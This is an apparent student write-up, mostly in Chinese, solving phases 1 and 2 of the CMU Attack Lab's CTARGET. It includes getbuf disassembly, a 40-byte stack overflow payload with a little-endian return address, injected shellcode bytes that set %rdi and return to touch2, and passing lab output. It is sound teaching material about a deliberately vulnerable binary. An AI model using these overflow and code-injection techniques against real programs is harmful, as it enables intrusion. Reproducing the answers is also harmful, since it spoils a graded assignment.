aboutsummaryrefslogtreecommitdiff
path: root/attack/solution.md
blob: bd499adb68c3c10ceeee36659669931f21b73ce6 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

# CTARGET

## Phase 1

```asm
00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret

00000000004017c0 <touch1>: ...
```

很明显,getbuf只有0x28就是40的缓冲区,那只要40个垃圾数据+返回地址就行了

NB. 小段序,所以返回地址要倒着写 ie. `c0 17 40 00 00 00 00 00`

```bash
➜  attack git:(main) ✗ ./hex2raw < ans/1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
```


## Phase 2

从pdf中可以知道,不但要调用touch2,还要传入的%rdi与cookie相同

需要做的

1. buffer overflow,覆盖掉返回地址
2. 继续覆盖更多内容,植入自己的程序
3. ret返回到自己程序的开头
4. 自己程序设置好环境,再ret touch2()


地址高位

- code (设置rdi,再把当前rsp指向的地址改为touch2地址,然后ret)
- return addr
- getbuf garbage 40 bytes

地址低位

所以代码部分,就是设置好touch()返回地址+寄存器就行了
```asm
0000000000000000 <.text>:
   0:   68 ec 17 40 00          push   $0x4017ec
   5:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   c:   c3                      ret
```

代码部分就是 `68 ec 17 40 00 48 c7 c7 fa 97 b9 59 c3`

gdb可以发现,在getbuf返回之前`$rsp   : 0x000000005561dca0`

自己程序的开头就是`0x000000005561dca8`

```bash
➜  attack git:(main) ✗ ./hex2raw < ans/2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
```